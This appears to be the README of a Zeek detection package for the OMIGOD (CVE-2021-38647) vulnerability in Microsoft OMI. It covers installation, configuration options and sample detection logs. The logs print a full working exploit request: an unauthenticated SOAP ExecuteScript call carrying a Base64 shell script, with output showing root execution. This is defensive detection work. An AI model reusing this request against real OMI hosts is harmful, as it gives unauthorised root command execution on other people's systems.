一个Zeek包,用于检测CVE-2021-38647(又名OMIGOD)的利用尝试。
https://corelight.com/blog/detecting-cve-2021-38647-omigod
https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647
该利用仅涉及省略Authorization头,下面是一张简要说明图片。
利用的简要说明
在真实环境中作为Zeek包安装
zkg install corelight/CVE-2021-38647
或使用直接URL。
zkg install https://github.com/corelight/CVE-2021-38647/
对已有的pcap文件使用
zeek -Cr scripts/__load__.zeek your.pcap
此包可在集群或非集群环境中运行。
omigod.zeek脚本中的可配置选项可根据下文描述更改以满足你的实施需求。
TCP端口设置为OMI服务的默认端口。将任何非默认端口添加到以下集合中。
option OMI_ports = set(1270/tcp, 5985/tcp, 5986/tcp);
为了协助对EXPLOIT_REQUEST和EXPLOIT_RESPONSE通知进行事件响应分类,'sub'字段将包含通知中的前'bytes_of_data_in_notice'字节。将其设置为较大的数以收集所有有效载荷——默认值10000应足以捕获所有相关数据。
option bytes_of_data_in_notice = 10000;
为了协助事件响应分类和威胁狩猎,一个单独的通知'EXPLOIT_ATTEMPT'将在通知的'sub'字段中包含客户端头名称和值。
option raise_seperate_notice_for_missing_auth_header = T;
非常谨慎地使用User-Agent白名单来屏蔽来自你自己的扫描器或合法系统的误报。记住,攻击者可以简单地伪造此用户代理。示例:
option user_agent_whitelist = /^Microsoft WinRM Client$/;
这些示例是以最大详细度设置。虽然看起来过于详细,但通知的'sub'字段中提供了对事件响应分类和威胁狩猎有用的数据。
curl/7.52.1,(取决于用例)这可能是合法访问OMI服务的一种非常不寻常的方式。此EXPLOIT_ATTEMPT通知可能会或可能不会随后出现EXPLOIT_REQUEST或EXPLOIT_RESPONSE通知,这取决于更细粒度的指示器。#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-09-20-14-23-48
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] interval string string string double double
1631859865.669975 CUoF9i1epohx0Xkycj 127.0.0.1 57592 127.0.0.1 5985 - - - tcp CVE_2021_38647::EXPLOIT_ATTEMPT A request to an OMI/WMI uri is missing the Authorization header, this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit attempt. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution, see sub field for raw data headers= '{\x0a\x09[1] = [original_name=Host, name=HOST, value=127.0.0.1:5985],\x0a\x09[2] = [original_name=User-Agent, name=USER-AGENT, value=curl/7.52.1],\x0a\x09[3] = [original_name=Accept, name=ACCEPT, value=*/*],\x0a\x09[5] = [original_name=Content-Length, name=CONTENT-LENGTH, value=2035],\x0a\x09[6] = [original_name=Expect, name=EXPECT, value=100-continue],\x0a\x09[4] = [original_name=Content-Type, name=CONTENT-TYPE, value=application/soap+xml]\x0a}' 127.0.0.1 127.0.0.1 5985 - - Notice::ACTION_LOG 3600.000000 - - - - -
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-09-20-14-23-48
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] interval string string string double double
1631859866.672356 CUoF9i1epohx0Xkycj 127.0.0.1 57592 127.0.0.1 5985 - - - tcp CVE_2021_38647::EXPLOIT_REQUEST A REQUEST to an OMI/WMI uri has a missing Authorization header - this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution The first 10000 bytes of data = '<?xml version="1.0"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">\x09 <s:Header>\x09\x09 <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>\x09\x09 <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>\x09\x09\x09 <a:ReplyTo>\x09\x09\x09\x09 <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\x09\x09\x09\x09\x09 </a:ReplyTo>\x09\x09\x09\x09\x09\x09 <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>\x09\x09\x09\x09\x09\x09 <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>\x09\x09\x09\x09\x09\x09\x09 <a:MessageID>uuid:00B60932-CC01-0005-0000-313370010000</a:MessageID>\x09\x09\x09\x09\x09\x09\x09 <w:OperationTimeout>PT1M30S</w:OperationTimeout>\x09\x09\x09\x09\x09\x09\x09\x09 <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>\x09\x09\x09\x09\x09\x09\x09\x09 <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>\x09\x09\x09\x09\x09\x09\x09\x09\x09 <w:OptionSet s:mustUnderstand="true"/>\x09\x09\x09\x09\x09\x09\x09\x09\x09 <w:SelectorSet>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <w:Selector Name="__cimnamespace">root/scx</w:Selector>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 </w:SelectorSet>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 </s:Header>\x09\x09\x09' 127.0.0.1 127.0.0.1 5985 - - Notice::ACTION_LOG
3600.000000 - - - - -```
第二个通知显示了有效载荷,它是一个Base64编码的字符串 ZWNobyAiT01JR09EIGl0IHdvcmtzISINCmlkDQp1bmFtZQ0KZGF0ZQ0KZWNobyAiR29vZGJ5ZSINCg==,解码后得到以下Shell脚本。
echo "OMIGOD it works!"
id
uname
date
echo "Goodbye"
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-09-20-14-23-48
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] interval string string string double double
1631859866.672356 CUoF9i1epohx0Xkycj 127.0.0.1 57592 127.0.0.1 5985 - - - tcp CVE_2021_38647::EXPLOIT_REQUEST A REQUEST to an OMI/WMI uri has a missing Authorization header - this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution The first 10000 bytes of data = '\x09\x09\x09\x09\x09\x09\x09\x09\x09 <s:Body>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:Script>ZWNobyAiT01JR09EIGl0IHdvcmtzISINCmlkDQp1bmFtZQ0KZGF0ZQ0KZWNobyAiR29vZGJ5ZSINCg==</p:Script>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:Arguments/>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:timeout>0</p:timeout>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:b64encoded>true</p:b64encoded>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 </p:ExecuteScript_INPUT>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 </s:Body>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09</s:Envelope>' 127.0.0.1 127.0.0.1 5985 - - Notice::ACTION_LOG 3600.000000
- - - - -
OMIGOD it works! uid=0(root) gid=0(root) groups=0(root) Linux Fri Sep 17 06:24:26 UTC 2021 Goodbye #separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-09-20-14-23-48
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] interval string string string double double
1631859866.680111 CUoF9i1epohx0Xkycj 127.0.0.1 57592 127.0.0.1 5985 - - - tcp CVE_2021_38647::EXPLOIT_RESPONSE A Server RESPONSE has been sent following a request to an OMI/WMI uri with a missing Authorization header - this is possibly a successful CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution The first 10000 bytes of data = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><SOAP-ENV:Header><wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action><wsa:MessageID>uuid:04F232DD-CC2A-0005-0000-000000210000</wsa:MessageID><wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-313370010000</wsa:RelatesTo></SOAP-ENV:Header><SOAP-ENV:Body><p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:ReturnValue>TRUE</p:ReturnValue><p:ReturnCode>0</p:ReturnCode><p:StdOut>OMIGOD it works! uid=0(root) gid=0(root) groups=0(root) Linux Fri Sep 17 06:24:26 UTC 2021 Goodbye </p:StdOut><p:StdErr></p:StdErr></p:SCX_OperatingSystem_OUTPUT></SOAP-ENV:Body></SOAP-ENV:Envelope>' 127.0.0.1 127.0.0.1 5985 - - Notice::ACTION_LOG 3600.000000 - - - - -